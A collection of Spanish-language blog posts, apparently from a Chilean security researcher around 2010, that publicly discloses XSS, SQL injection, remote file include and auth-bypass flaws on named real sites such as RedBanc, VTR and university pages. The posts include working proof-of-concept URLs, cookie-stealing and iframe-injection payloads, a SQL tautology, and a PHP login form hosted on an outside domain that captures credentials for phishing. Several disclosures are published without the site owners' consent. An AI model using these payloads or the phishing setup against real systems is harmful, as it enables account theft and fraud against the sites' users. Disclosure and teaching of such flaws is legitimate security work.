Estimado Fernando:

Me dirijo a usted como representante de la Empresa E-Sign, en mi calidad de Gerente de Operaciones,  para comentarle algunos de los alcances que ha tenido para nosotros el  reporte de vulnerabilidad XSS que usted ha publicado a fines de la semana pasada.  Con su información hemos verificado los errores reportados, y nuestros programadores se encuentran trabajando en la revisión y corrección de otros posibles problemas. Específicamente, aquellos relacionados con el “contacto.php” se corrigieron el 30 de Abril en la tarde.

Le agradecería que, en el caso de detectar una nueva vulnerabilidad o la posibilidad de ella en nuestro sitio, lo informe directamente a mi correo particular o telefónicamente a la empresa. Asimismo, le solicitamos que nos dé un  espacio de tiempo suficiente para corregir el problema, antes de publicarlo en internet.

Finalmente, a nombre de E-Sign, quisiéramos agradecerle su nota y enfatizar que tomaremos todas las medidas necesarias para evitar que este tipo de problemas vuelvan a ocurrir.

Creo que es una buena respuesta y es la forma en que deberían actuar las empresas cuando se les informa sobre algún fallo, bug o vulnerabilidad que los afecta.
Podemos ver que el enlace vulnerable: https://www.e-sign.cl/contacto.php?prefilla=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E ya no se ve afectado.

Compartir/Guardar

La idea de un sitio con certificado SSL es que toda la información viaje cifrada, pero la gente de E-Sign al parecer no piensan eso. Al menos dos formularios del sitio envían la información sin cifrar, entonces ¿Para qué usan el certificado SSL?

Quizá no es tan crítico, ya que se trata del formulario de contacto y el buscador, pero ya que ellos obligan al usuario a confiar de ellos aun cuando los formularios no se envian de forma segura, nosotros aprovecharemos de generar otro tipo de trafico de manera insegura, por ejemplo insertando un formulario falso o un sitio externo mediante XSS.

¿A qué me refiero con esto? Sencillo, cuando estás navegando en un sitio seguro y en él, existe información que viaja de manera no-segura (sin cifrar), el navegador nos alerta y nos pregunta si queremos continuar.

En cierta forma, E-Sign está obligando al usuario a confiar en ellos y para proceder, el usuario tendrá que poner aceptar. Si ellos lo hacen, ¿por qué nosotros no?

Nos aprovechamos de una vulnerabilidad XSS que presentan algunos links, por ejemplo link de “Contacto”:

https://www.e-sign.cl/contacto.php?prefilla=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

Mediante XSS podriamos perfectamente modificar el formulario, agregar y quitar campos y redireccionar la informción hacia otro sitio o bien colocar un iframe externo que nos permita insertar un formulario arbitrario para capturar información que necesitamos.

Con un poco de ingenieria social y un poco del arte del engaño, seguramente podemos explotar aun mas esta vulnerabilidad. Muchas veces la vulnerabilidad va más alla de si misma, depende mucho del sitio sobre el cual se intenta explotar, en este caso, es mucho mas grave que en el caso del post anterior.

Lo que encuentro más problematico, es que una empresa de seguridad, quienes ofrecen un servicio Anti Phishing, tengan este tipo de vulnerabilidades, le resta demasiada credibilidad a la empresa, lamentablemente las personas que contratan estos servicios generalmente no saben mucho del tema y creen que estaran en buenas manos y muchas veces estan cometiendo un error entregando su seguridad a las personas equivocadas.

Como de costumbre, intenté contactarme con los encargados mediante el formulario de contacto del sitio pero no he obtenido ningun tipo de respuesta.

ACTUALIZACIóN – 3/Mayo/2010: La empresa se ha contactado conmigo via email. Más información acá.

Compartir/Guardar

La URL vulnerable es

http://www.wei.cl/catalogue/product_search.htm?ph=&query=

Podemos inyectar código javascript en el valor de la variable “ph” y con esto insertar un frame o algun elemento externo al sitio y hacelo parecer como si fuera del sitio usando la confianza que tienen los clientes, como por ejemplo un iframe o bien un javascript que nos envie la cookie de la sesion a otro sitio.

Prueba de Concepto (PoC)

http://www.wei.cl/catalogue/product_search.htm?ph=%22%3E%3Cscript%3Ealert%28this%29%3C/script%3E&query=+++++Buscar+++++

http://www.wei.cl/catalogue/product_search.htm?ph=%22%3E%3Ciframe%20src=%22http://google.com%22%3E%3C/iframe%3E&query=+++++Buscar+++++

En el sitio se pueden encontrar links de contacto y emails para escribir tipo info@wei.cl, ni los links ni los emails funcionan. Intenté reportar el problema pero el correo que envié al destinatario que en la misma página aparece, me rebotó.

Compartir/Guardar

La semana pasada he descubierto una vulnerabilidad Cross-Site Scripting (XSS) en el sitio web de RedBanc.

Redbanc S.A.. es una empresa que presta servicios de interconexión bancaria, es decir permite a los clientes de todos los bancos asociados realizar distintas operaciones, depósitos, transferencias, giros, etc. a través de una red cajeros automáticos, que son computadores interconectados, permitiéndole al cliente realizar una serie de operaciones que antiguamente se debían realizar en una caja normal y con la restricción del horario.

Está de más decir que con esta vulnerabilidad encontrada es posible realizar phishing, robos de identidad (robos de cookies mediante xss) y muchas otras cosas más relacionadas con estáfas usando la confianza el sitio RedBanc.cl.

La vulnerabilidad se encuentra en la no-validación de los parametros de entrada en la URL http://www.redbanc.cl/portal_redbanc/browse?pagina=portal_redbanc/inicio.htm. Si modificamos la variable “pagina” y preparamos un javascript especialmente para el robo de cookies o bien algun sitio web externo que nos permita hacer phishing, basta con que coloquemos el código necesario y se lo asignemos a la variable.

Explicación

Cuando se cambia el valor de la variable pagina el sistema reportará que la página no existe. El mensaje de error tomará el valor que ingresamos en la variable y lo mostrará de la siguiente forma:
- En el caso de http://www.redbanc.cl/portal_redbanc/browse?pagina=veamos/si/existe/la/pagina.htm podemos ver el mensaje de error

Pagina no existe
Pagina veamos/si/existe/la/pagina.htm no disponible

Si nos damos cuenta, lo que dice justo debajo de “Pagina no existe” es justo lo que pusimos como valor de la variable pagina por lo que asumimos que cualqiuer cosa que pongamos en su lugar será mostrado y por ende si inyectamos un código html éste será mostrado e interpretado por nuestro navegador.

PoC

Inyectando un código javascript:
http://www.redbanc.cl/portal_redbanc/browse?pagina=<script>alert('XSS')</script>

Inyectando un iframe con destino a otro sitio, el cual podría contener un sitio web maligno:
http://www.redbanc.cl/portal_redbanc/browse?pagina=<iframe src=http://sitio.web</iframe></iframe>

(más información sobre este último punto en: Haciendo phishing explotando una vulnerabilidad XSS)

He intentado contactarme con los encargados del desarrollo del sitio pero no he obtenido respuesta. El formulario de contacto del mismo sitio web no funciona y he estado enviando correos a info@redbanc.cl (correo que aparece en el sitio web) y ni si quiera me han respondido que leyeron el correo.

Los riesgos

Los chilenos bien saben lo que es RedBanc y deberían imaginar los peligros que puede significar un fallo de este tipo en el sitio web oficial.
Explotando esta vulnerabilidad es posible robar la identidad de personas y obtener información privadas tales como nombres, rut, telefonos, números de cuenta bancaria y claves de acceso. Tratandose de un sitio web que tiene directa relacion con los bancos y tarjetas de débito es posible tambien obtener los dígitos del PIN PASS, usando un poco de ingenieria social y engañando a los usuarios con falsos e identicos sitios y formularios.

Aclaración

La vulnerabilidad fue avisada el Jueves de la semana pasada por primera vez, luego intente contactarme con ellos el día Lunes y tambien el Martes y, siendo Jueves, aún no he obtenido ninguna respuesta, ni si quiera acusando que el correo que les envié fue recibido.

ACTUALIZACIóN – 5/Mar/2010 12:30
Luego de numerosos correos enviados a la gente de redbanc reportando el error y sin obtener ninguna respuesta, decidí publicar este artículo y parece que ha dado resultado, porque la gente de Redbanc ya ha solucionado el problema, obviamente sin agradecer y sin emitir ningun tipo de comentario al respecto, simpemente solucionaron el problema como si nada ha pasado.
Buscando en Google me he dado cuenta que este sitio ha tenido esta misma vulnerabilidad en distintos scripts y y redbanc nunca dijo nada.

Compartir/Guardar

Ahora vamos a la práctica, se los enseñaré mediante un ejemplo real buscando un sitio web al azar con la ayuda de Google. Encontramos el sitio “Cibertec.cl” que al parecer cumple todo para poder explotarla.Ç
Si ingresamos al sitio http://www.cibertec.cl y revisamos el tipo de links que contiene, podemos darnos cuenta fácilmente que puede  ser vulnerable a SQLi.

Vamos a comprobarlo cambiando el número 587 por una comilla simple. Entonces ingresamos a http://www.cibertec.cl/detalle.php?item=’ y obtenemos el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1)
Session halted.

Si nos fijamos en la línea donde nos muestra la consulta SQL podemos ver que al final pone “WHERE id = ‘“. Pues esa comilla simple que se ve depsues del signo igual es la comilla que nosotros pusimos en el navegador. De esta misma forma, si agregamos la palabra “prueba” luego de la comilla simple, podemos ver el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘prueba
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”prueba’ at line 1)
Session halted.

Ahi aparece la comilla simple seguida de la palabra prueba, justo lo que nosotros escribimos. Bien, ya manejamos lo que queremos que se muestre, ahora debemos insertar el código malicioso.

Prueba de concepto (PoC)

Vamos a aprovecharnos de ésta vulnerabilidad de SQL Injection para realizar phishing y para intentar robar una credencial mediante XSS.

1. Phishing: Vamos a añadir un iframe con un sitio especialmente preparado para éste fin. Pueden hacer la prueba incrustando el sitio de Google: http://www.cibertec.cl/detalle.php?item=%27%3Ciframe%20src=http://www.google.cl%3E%3C/iframe%3E
   (puede leer más sobre esto en un post que publiqué hace un tiempo)
2. Robo de credenciales: El típico aprovechamiento de Cross-Site Scripting usando javascript para redirigir al usuario a un sitio web cuyos parámetros será una cookie. Por ejemplo: http://www.cibertec.cl/detalle.php?item=%27%3Cscript%3Ealert%28this.cookie%29%3C/script%3E

De esta manera podemos afirmar que el sitio web Cibertec.cl es vulnerable a SQL Injection y Cross-Site Scriting.

Compartir/Guardar

<script>alert(‘this.cookie’)</script>

Cuando los ataques XSS mediante tags no son posibles, existe la posibilidad de realizar el ataque usando las propiedades de cada tag. Puede ser usando el atributo style, src o algúnos gatilladores de eventos como onMouseOver, etc. Para poder realizar el ataque es necesario usar comillas (simples o dobles), aunque tambien en algunos casos existe la posibilidad de no usarlas, para poder agregar una nueva propiedad al tag en el cual hemos conseguido insertar el código.

En los ataques realizados mediante la propiedad style, podemos usar las siguientes funciones o métodos (en este caso, el código se ejecuta automáticamente al cargar la página):

1. Usando expression(), sólo funciona en Internet Explorer anterior a la versión 8.
2. Usando background:url() o background-img:url(), sólo funciona en Internet Explorer.
3. Usando -moz-binding:url(), sólo funciona en Mozila y en otros motores basados en Gecko (antes de Firefox 3).

Pueden ver un ejemplo de un ataque usando -moz-binding:url() y expression() en éste link (está en un idioma que seguramente no entenderemos pero los ejemplos se entienden sin problemas).

Los ataques vía eventos (handlers) son aplicables de la siguiente forma:

1. Eventos como onMouseOver, onFocus, onBlur, onSelect, onChange, onClick, etc.
2. Usando onError, onLoad y onUnload, para ejecutar código automáticamente al cargar o cerrar la página.

La posibilidad de usar onLoad, onUnload y onError no es muy amenudo y los otros eventos no se ejecutan automáticamente, siempre hay que esperar a que algo los gatille. Por ésto mismo, este tipo de ataque XSS no es muy popular, generalmente se ataca incrustando código en las propiedades tales como style, ya que se ejecuta automáticamente.
Cerca del 2008, la posibilidad de realizar un ataque XSS mediante -moz-binding fue removida (o bueno, fue parcialmente removida ya que aún es posible realizar ataques de éste tipo mediante ficheros xml en el mismo sitio). En el lanzamiento de Internet Explorer 8, a comienzos del 2009, se removió el soporte a la función o método expression(). Tambien fue removido el soporte de javascript o vbscript en background-image.
Con los arreglos que se hicieron en los distintos navegadores,  se dificuló el llevar a cabo  ataques Cross-Site Scripting mediante tags. Por otro lado, los navegadores como Opera y Chrome resisten ataques  de éste tipo mediante la propiedad style.
Podemos usar la técnica del MouseOverJacking. Con ésta técnica, se puede automatizar el ataque XSS. Es una solución que funciona en todos los navegadores, incluyendo IE8, eludiendo la protección anti-clickjacking que trae incorporada.
MouseOverJacking se puede usar en lugar de expression() y -moz-binding(). El ataque está automatizado, por lo que el ataque cumpliría el mismo objetivo que expression y -moz-binding y gracias al soporte multi navegador, es posible atacar a más usuarios.
Se puede realizar con MouseOverJacking lo mismo que con ClickJacking, con la diferencia que el MouseOverJacking es más efectivo, ya que no espera ninguna acción del usuario, no es necesario que el usuario haga click para gatillar el ataque. El ClickJacking espera un click por parte del usuario en cambio el MouseOverJacking simplemente espera el movimiento del ratón.

Ejemplos:

Reflected XSS

http://site/script?param=%22%20style=%22width:100%;height:100%;display:block;position:absolute;top:0px;left:0px%22%20onMouseOver=%22alert(document.cookie)%22

Persistent XSS

<a href=”#” style=”width:100%;height:100%;display:block;position:absolute;top:0px;left:0px” onMouseOver=”alert(document.cookie)”>&nbsp;</a>

Este artículo corresponde a una traducción al Español de la traducción al Inglés del original, extraído de WebSecurity.

Compartir/Guardar

La empresa afectada es una inmobiliaria y constructora “Yagode”, la vulnerabilidad XSS se encuentra en el script “proyectos.php“, al no parsear la variable tipo. Tiene protección contra XSS, pero no es efectiva. Podemos comprobar ingresando a

http://www.yagode.cl/proyectos.php?Tipo=<script>alert(this)</script>

Obtenemos el mensaje de error 406 “Not Acceptable”,

Not Acceptable

An appropriate representation of the requested resource /proyectos.php could not be found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Sin embargo, permite incluir otro tipo de código como un iframe.

Vamos a armar un pequeño código en php con un formulario que nos capture la información, simulando un login, bien simple, que cumpla con el estándar del sitio web (fondo azúl y bien feo)

< ?php
if($_GET['login'] == "ok")
        die("user: ".$_POST['user']."pass: ".$_POST['pass']);
?>

Usuario:

Password:

Incluimos nuestro script en el iframe:

http://www.yagode.cl/proyectos.php?Tipo=<iframe frameborder=0 src=http://zerial.org/yagode.php width=500 height=200</iframe>

Ingresamos nuestra información, usuario y contraseña, y vemos como el script php que hicimos se encarga de guardar la información y mostrarla, llenamos el formulario con datos de prueba como usuario=miusuario y password=mipassword, al presionar el botón “ingresar“, veremos la siguiente pantalla:

Perfectamente podemos engañar a los empleados o clientes de ésta empresa, para que ingresen a éste sitio y nos entreguen información confidencial. Con un poco de ingeniería social y tiempo.

NOTA: La empresa encargada de éste sitio fue notificada de los fallos hace mucho tiempo (más de 2 meses)

Compartir/Guardar

d3m4s1@d0v1v0 escribió un artículo titulado “Cruzando Información, Cross-Site Scripting (XSS)” en el que, luego de aclarar el fín del artículo

ACLARACION: el artículo está dirigido a aquellos que quieran aprender programación web segura, gente dedicada a la seguridad que utiliza el hacking ético para descubrir problemas a solucionar y reportarlos. Para hacer este tipo de ataque deben contar con la aprobación del encargado de la web o quién corresponda.

explica detalladamente el por qué del nombre XSS, que es el XSS, cómo se puede “usar” el XSS, lograr que el usuario ejecute lo que queremos, entre otras cosas.
Recomiendo el artículo a quienes quieran informarse un poco más sobre el tema.

Compartir/Guardar

En ese momento, me comuniqué con los encargados e intercambiamos 4 o 5 correos. Les comuniqué que tanto su sitio como sitios de clientes tenian graves vulnerabilidades, les dije exactamente que tipo de vulnerabilidades tenian y la forma de corregirlas. Luego de esto, la gente de GoldenData me preguntó si le podía hacer auditoría a otros sitios que tienen ellos … y yo, nada de tonto, le dije que si, pero como era un servicio que ellos me estaban pidiendo les cobraría mis horas hombre, luego de este último correo… la gente no se contactó nunca más conmigo… pues claro, querían que les hiciera auditoria gratis. Ahora me entero que la gente cambió totalmente el sitio web de su empresa pero no ha corregido los sitios de sus clientes. Esta véz no me centraré en GoldenData.cl, hablaré sobre los desarrollos que hacen ellos, es decir, sus clientes:

• http://www.artpetit.cl/
• http://www.videocity.cl/
• http://www.arapemaquetas.cl/
• http://www.questor.cl/
• http://www.almendradec.cl/
• http://www.kelsopro.cl/
• http://www.zanartu.cl/
• http://www.riosycia.cl/
• http://www.beeone.cl/

Tampoco me desgastaré en algo que ya hice: Comunicarme con la empresa, ya que además de ser aprovechadores, no supieron dar la cara.

Antes de empezar hice un análisis rápido a todos los sitios para descartar los que no tengan vulnerabilidades a simple vista. Los sitios descartados son: beeone.cl, almendradec.cl, kelsopro.cl, zanartu.cl y questor.cl. Empezaré a analizar las restantes:

1- http://www.artpetit.cl/
Las URL sospechosas para realizar LFI, RFI y XSS son las siguientes:

1. http://artpetit.cl/productos.php?categoria=Miniaturas
2. http://artpetit.cl/?pag=contactenos
3. http://artpetit.cl/?pag=contactenos&codigo=009F2&nombre=Oso%20en%20Balanc%EDn

Si intentamos agregar un código como por ejemplo <script>alert(object)</script> o cambiar el valor de la variable pag por algun path interno o externo (rfi, lfi) nos mostrara un mensaje que nos dirá: Not Acceptable.

Por lo que, si bien parecen ser vulnerables, no lo son. Por otro lado, si transformamos la variable pag o categoria a un arreglo (pag[]) veremos que el nos imprime el valor del Array, lo que nos dice automáticamente que no está parseando los valores de entrada, el mensaje “Not Acceptable” es a nivel de servidor y no de aplicación. Este error no ses crítico y no compromete en absoluto la seguridad del sistema.

http://artpetit.cl/productos.php?categoria[]=asdf

2- http://www.videocity.cl/
Si navegamos por el menú podremos ver una url como http://www.videocity.cl/#vitrina.php?dpto=Audio, lo primero que se nos ocurrirá es cambiar el valor de la variable dpto pero veremos que no tiene ningún resultado, la página se sigue viendo exáctamente igual. El truco es el siguiente: Remover el símbolo “#” y dejar la URL de la siguiente forma:

http://www.videocity.cl/vitrina.php?dpto=<script>alert(this)</script> y veremos que nos va a mostrar el alert. Con esto demostramos que este sitio es vulnerable a XSS, pudiendo insertar un iframe para realizar phishing o usar el sitio para cualquier cosa que nos imaginemos.
Podemos intentar el mismo truco para otras url donde se almacenen los id o secciones. Este sitio tiene el mismo error que el anterior al transformar alguna variable a Array.

3- http://www.arapemaquetas.cl/
Si intentamos hacer XSS a las URL del menú nos encontraremos con el mismo error que en el primer caso: Not acceptable. Sin embargo, la técnica de transformar la variable en un array nos permitirá saber el path del sitio dentro del sistema. A esto se le llama Full Path Disclosure.
La URL es:

http://www.arapemaquetas.cl/maquetas.php?categoria[]=Arquitectura

Obtendremos un resultado como:

Warning: include(htmls/array.html) [function.include]: failed to open stream: No such file or directory in /home/arapemaq/public_html/maquetas.php on line 18

Warning: include(htmls/array.html) [function.include]: failed to open stream: No such file or directory in /home/arapemaq/public_html/maquetas.php on line 18

Warning: include() [function.include]: Failed opening ‘htmls/array.html’ for inclusion (include_path=’.:/usr/lib/php:/usr/local/lib/php’) in /home/arapemaq/public_html/maquetas.php on line 18

4- http://www.riosycia.cl/
Este sitio es vulnerable a XSS mediante la siguiente URL:

http://www.riosycia.cl/productos_categorias.php?categoria=%3Cscript%3Ealert%28this%29%3C/script%3E

Si recorremos los distintos links del sitio podremos encontrar la ruta a un fichero llamado clave.php:

http://www.riosycia.cl/aplicaciones/clave.php

Si ingresamos un correo cualquiera nos dirá que no está en la base de datos, sin embargo, si ingresamos el comodín

‘ or ’1′=’1

Nos dirá que el correo fue enviado a esa dirección. Lo que nos comprueba que ese formulario es vulnerable a SQL Injnection.

Vulnerabilidades detectadas: Full Path Disclosure, SQL Injection, XSS.
Alcance de las vulnerabilidades: Uso del sitio para hacer phishing y, mediante SQLi tener una infinidad de opciones para realizar ataques, incluyendo un D-o-S.
Errores detectados: Parametros de entrada sin filtros.

Como conclusión podemos decir que estas personas no  dedican tiempo al tema de la seguridad ya que los sitios que no eran vulnerables es porque son sitios estáticos y feos y aquellos que al intentar violarlos aparecia el menasje de “Not Acceptable” es porque el servidor donde esa empresa tenia alojada el sitio web estaba protegido. Esto último explica el hecho de que los sitios hechos de la misma forma funcionen en un servidor y en otros no.

Por lo tanto, NO recomiendo esta empresa.

Compartir/Guardar

Esta semana mostraré sólo dos sitios, el que corresponde al ISP Chileno VTR y al sitio web de la Bolsa de Santiago.
Ambos sitios tienen una vulnerabilidad del tipo XSS que nos permite usar la identidad del sitio para distintos fines.

Sin más, los sitios y URI vulnrables son:

https://wsc.vtr.net/proveedores/main.asp?mensaje=[XSS]
http://ppwww.bolsadesantiago.com/error.asp?mensaje=[XSS]

Quiero agradecer a Panic por la información entregada.

Compartir/Guardar

Básicamente, ¿Qué es el phishing?

Definamos phishing como una tecnica de “pesca” para robar información privada/personal de personas y/o empresas.

¿Cómo se lleva acabo esta técnica?

Puede resultar tan sencillo como intentar engañar a un niño, pues hacemos creer a una persona algo que no lo es con la finalidad de que esta persona nos entregue datos confidenciales y/o privados, por ejemplo, mediante un formulario de login a un sistema (universidad, banco, etc) falsificado.

A las empresas parece importarle poco el tema de seguridad en este aspecto, segun mi experiencia y estudios realizados por mi (ver en este blog), la vulnerabilidad XSS es una de las más comunes y es la que nos permite robar informacion de muchas formas usando la identidad de la empresa/sitio web vulnerable.

Tomemos como ejemplo una de las páginas que he publicado con este vulnerabilidad, que aun no lo solucionan. Corresponde al sitio web de la “Direccion de bibliotecas, archivos y museos” DIBAM, la URI vulnerable es:
http://www.dibam.cl/error.asp?cadena=a&pagina=[XSS]

Podemos insertar cualquier código javascript o html, como prueba de concepto vamos a insertar un iframe apuntando a google:

http://www.dibam.cl/error.asp?cadena=a&pagina=%3Ciframe%20src=http://google.cl%20frameborder=0%20width=660%3E%3C/iframe%3E

De este mismo modo, pudimos haber hecho referencia a un sitio con un login modificado, haciendonos pasar por “dibam” y pidiendo informacion privada a usuarios. De esta misma forma, podemos hacer referencia desde el siti o”dibam.cl” a algun fichero infectado con algun troyano, virus, etc.

Respecto al javascript, todo codigo javascript ejecutado si bien se ejecuta en por el lado del cliente, lo que no significa ningun riesgo para el servidor, hay que dejar en claro que todo el código javascritp será ejecutado en el contexto del sitio web, por lo que será posible el acceso a cookies, etc lo que nos permitirá robar las cookies para logearnos en algún sistema.

Compartir/Guardar

Corresponden a las vulnerabildiades SQL Injection y XSS y los sitios son los siguientes:

• sirpachile.cl
• tardis.cl
• paihuen.cl
• dibam.cl
• balmacedartejoven.cl

Las URL vulerables:

http://www.sirapchile.cl/biblioteca.php?categoria_biblioteca=&Submit=Buscar&dat=[XSS]

http://www.tardis.cl/uf.php?ano=[SQL Injection]

http://www.paihuen.cl/socios/default.asp?mensaje=[XSS]

http://www.dibam.cl/error.asp?cadena=a&pagina=[XSS]

La siguiente URI tiene dos vulnerabilidades:

http://www.balmacedartejoven.cl/portada_sede.php?go_sede=[SQL Injection | XSS ]

Compartir/Guardar

• rmm.cl
• eduvic.cl
• cronica.cl
• uss.cl (www.uss.cl y enred.uss.cl)

- Las vulnerabilidades XSS corresponden a los siguientes sitios:

http://www.rmm.cl/recursos.php?id_portal=335&seccion=[XSS]
http://www.eduvic.cl/doc.asp?id=1&nom=[XSS]
http://enred.uss.cl/seccion/cambios_equipo_institucional.php?ac=[XSS]

- Los sitios con vulnerabilidad SQL Injection son:

http://enred.uss.cl/seccion/cambios_equipo_institucional.php?ac=[SQL Injection]
http://www.uss.cl/alumnos/noticias_detalle.php?s=20040708164902&c=[SQL Injection]

- Full Path Disclosure

http://www.cronica.cl/edicion_cronica/seccion/articulo.php?dia=1190088000&seccion=[XXX]

Bonus track

http://twittersheep.com/results.php?u=[XSS]

Compartir/Guardar

- Ecored.cl
- iti.cl (https)
- stiport.cl (https)
- Lucylafuenteindo.cl
- latitud90.com
- Maqval.cl

Con “Lucylafuenteindo.cl” intenté comunicarme para solucionar el problema pero luego de corregir parcialmente el problema ni se contactaron conmigo. Ecored.cl parece ser (o fue) una empresa de informatica bastante vieja, nose si aun utillizaran el sitio. Con los otros sitios estoy intentando contactarme.
Para leer mas detalladamente las fallas en cada uno de los sitios lea el articulo completo.

A continuación una lista de los sitios con su vulnerabilidad y su URI vulnerable

Remote File Include:

http://www.ecored.cl/php/a-mensaje-envia.php?foro=[RFI]
https://torpedo.iti.cl/funciones/login.php?mensaje=[XSS]&pagina=[RFI]
https://www.stiport.cl/funciones/login.php?mensaje=[XSS]&pagina=[RFI]

XSS:

http://www.latitud90.com/admin/index.php?mensaje=[XSS]&dia=[XSS]&hora=[XSS]
http://www.maqval.cl/?ver=productos&id=5&cat=[XSS]

SQL Injection:

http://www.maqval.cl/?ver=carrito&a=add&c=1&n=[SQL]

Y por ultimo, una vulnerabilidad bastante peculiar, se trata de Auth Bypass, podremos editar el contenido del sitio con tan solo conocer la ruta de la administración, sin un usuario ni un password. Personalmente, pienso que este tipo de sistemas es una falta de respeto.

Tenemos el sitio http://www.lucylafuenteindo.cl/ donde podemos navegar por su contenido, cuando ingresamos nos redirecciona a http://www.lucylafuenteindo.cl/web y misteriosamente, si nos vamos a /admin, podremos editar el contenido  como nosotros queramos, saltandonos cualquier tipo de autentificación que el sitio pudiese haber tenido:
http://www.lucylafuenteindo.cl/web/admin/

Compartir/Guardar

- http://www.udec.cl
- http://www.ing-mat.udec.cl

De las cuales la primera tenía al menos dos scripts vulnerables
- http://www.udec.cl/exalumnos/registro_google/mensaje.php?mensaje=[XSS]
- http://www.udec.cl/egresados/mensaje.php?mensaje=[XSS]
Y la segunda al menos una
- http://www.ing-mat.udec.cl/biblioteca/buscar_libro_autor.php?autor=[XSS]
Según los encargados

Ya hemos desactivado el sitio http://www.udec.cl/egresados que estaba obsoleto.
También notificamos a los desarrolladores de las otras direcciones para que apliquen validaciones en los parámetros de los scripts a la brevedad. En el último caso esperan cambiar pronto la plataforma por una nueva.

Hasta el momento sólo la segúnda (egresados) ha sido fixeada, las continuan vulnerables.

Compartir/Guardar